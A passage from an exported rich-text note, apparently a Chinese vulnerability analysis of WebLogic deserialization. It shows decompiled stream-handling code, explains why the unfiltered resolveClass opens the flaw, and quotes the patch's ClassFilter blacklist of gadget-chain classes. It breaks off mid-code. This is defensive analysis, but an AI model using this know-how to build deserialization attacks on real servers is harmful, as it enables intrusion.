[{&#34;text&#34;:&#34;private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2pbI-1673513148357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N827-1673513148356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int var2 = var1.read();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vIEK-1673513148359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d4dt-1673513148358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    switch (var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AVY3-1673513148361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fiPY-1673513148360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 0:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uDAn-1673513148363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C5Qg-1673513148362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return (new ServerChannelInputStream(var1)).readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aX1s-1673513148365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZIck-1673513148364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1SO-1673513148367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vynk-1673513148366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return var1.readASCII();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7q9q-1673513148369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JBmQ-1673513148368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nbAv-1673513148371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z0P3-1673513148370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new StreamCorruptedException(\&#34;Unknown typecode: &#39;\&#34; + var2 + \&#34;&#39;\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8L9s-1673513148373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XeUQ-1673513148372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tzF2-1673513148375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lTEz-1673513148374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r2Di-1673503857432&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;33yf-1673503857430&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在此处下断点，可看到已修改后的序列化数据：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;erBf-1673513620237&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4988/WEBRESOURCE395ada51a921d3ea0426dc971ffa6a44&#34;,&#34;width&#34;:2924,&#34;height&#34;:1840},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LaE9-1673503857588&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xhia-1673503857586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过ServerChannelInputStream.resovleClass()方法加载类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zB5B-1673516023193&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4990/WEBRESOURCE1fd4219ed48a8943c32fb3ccaf259332&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5aHA-1673516000234&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6q5Q-1673516000230&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而ServerChannelInputStream继承自ObjectInputStream，而此处的resolveClass方法也是调用父类方法未有任何处理，故造成反序列化漏洞：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T0xg-1673516194234&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4999/WEBRESOURCE163b2ba99b23a2d551e78baa34adcc48&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qIDH-1673516092384&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jRxd-1673516092383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;下面就是正常的反序列化利用链流程了。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7N7r-1673575111769&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9bmv-1673575111767&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;引用文章中的流程图：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gYBu-1673575131643&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5003/WEBRESOURCEf8cbc43c54ba1ee20cccdb3fd88698bd&#34;,&#34;width&#34;:516,&#34;height&#34;:374},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;paG0-1673575257921&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L1cW-1673575257922&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F5Ou-1673575246253&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTze-1673575246251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;修复方案&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AbQq-1673575129876&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QANw-1673575129874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic选择resolveClass中添加类黑名单用于过滤反序列化利用链中所涉及的类，在其中一个补丁包中我们可以看到这个isBlackListed方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BipM-1673851025772&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5063/WEBRESOURCE7c417fdfe4ae88b117648c902dbb7d7a&#34;,&#34;width&#34;:691,&#34;height&#34;:428},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Yz7-1673851060514&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dzsg-1673851060515&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;来自ClassFilter，过滤反序列化攻击所使用的关键类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YMdw-1673851060513&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4ReW-1673851060512&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QhHo-1673850998736&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;package weblogic.rmi;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2vL2-1673851061228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kP5Q-1673851061227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0dNA-1673851061230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vzJd-1673851061229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.HashSet;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nK4J-1673851061232&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WVBD-1673851061231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.StringTokenizer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TCFd-1673851061234&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8znX-1673851061233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CFCI-1673851061236&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LPuc-1673851061235&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public abstract class ClassFilter {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4YRF-1673851061238&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8SxX-1673851061237&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String BLACK_LIST_PROPERTY = \&#34;weblogic.rmi.blacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SlHx-1673851061240&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BaLp-1673851061239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0hAe-1673851061242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;973I-1673851061241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = \&#34;weblogic.rmi.disabledefaultblacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MWZL-1673851061244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;77IP-1673851061243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vdld-1673851061246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ngCz-1673851061245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String DISABLE_BLACK_LIST_PROPERTY = \&#34;weblogic.rmi.disableblacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S8vq-1673851061248&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QrOU-1673851061247&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nqyw-1673851061250&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sN1B-1673851061249&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static final String DEFAULT_BLACK_LIST = \&#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rKYw-1673851061252&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XPh2-1673851061251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OyDm-1673851061254&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HTDI-1673851061253&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static final HashSet&lt;String&gt; BLACK_LIST = new HashSet&lt;String&gt;();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M6Db-1673851061256&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMCo-1673851061255&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7O3L-1673851061258&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WEcT-1673851061257&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Ol7-1673851061260&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6mDD-1673851061259&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (!isBlackListDisabled()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xP2U-1673851061262&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2E45-1673851061261&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      if (!isDefaultBlacklistEntriesDisabled())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6JIQ-1673851061264&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pEAs-1673851061263&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        updateBlackList(\&#34;+org.apache.commons.collections.functors,+com.sun.org.apache.xalan.internal.xsltc.trax,+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,+org.codehaus.groovy.runtime.ConversionHandler,+org.codehaus.groovy.runtime.MethodClosure\&#34;); &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G0oO-1673851061266&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mlVQ-1673851061265&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      updateBlackList(System.getProperty(\&#34;weblogic.rmi.blacklist\&#34;, null));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yq6g-1673851061268&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmYh-1673851061267&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fgrW-1673851061270&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RywC-1673851061269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u6p5-1673851061272&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;faI0-1673851061271&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CpDD-1673851061274&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zPcD-1673851061273&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static boolean isBlackListDisabled() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4Xi4-1673851061276&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n6HO-1673851061275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return Boolean.getBoolean(\&#34;weblogic.rmi.disableblacklist\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Ekh-1673851061278&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KyuU-1673851061277&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZRQz-1673851061280&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mWfM-1673851061279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHOz-1673851061282&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m97l-1673851061281&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static boolean isDefaultBlacklistEntriesDisabled() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vqwn-1673851061284&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bJ7E-1673851061283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return Boolean.getBoolean(\&#34;weblogic.rmi.disabledefaultblacklist\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zu27-1673851061286&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qDCg-1673851061285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddRd-1673851061288&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RyqE-1673851061287&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BQM9-1673851061290&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hxPl-1673851061289&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static void updateBlackList(String blackList) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kdBa-1673851061292&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Er1-1673851061291&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (blackList != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UrU2-1673851061294&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lOrB-1673851061293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      StringTokenizer st = new StringTokenizer(blackList, \&#34;,\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jLX4-1673851061297&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HGBH-1673851061296&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      while (st.hasMoreTokens()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b7Rt-1673851061299&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7sLF-1673851061298&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String token = st.nextToken();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IWLW-1673851061301&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;savD-1673851061300&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        processToken(token);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KKEa-1673851061303&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4jXj-1673851061302&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;      } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JKGC-1673851061305&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8DO-1673851061304&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W4vP-1673851061307&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v1jz-1673851061306&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bFsw-1673851061309&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q1s2-1673851061308&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Co53-1673851061311&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eBw6-1673851061310&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  private static void processToken(String token) 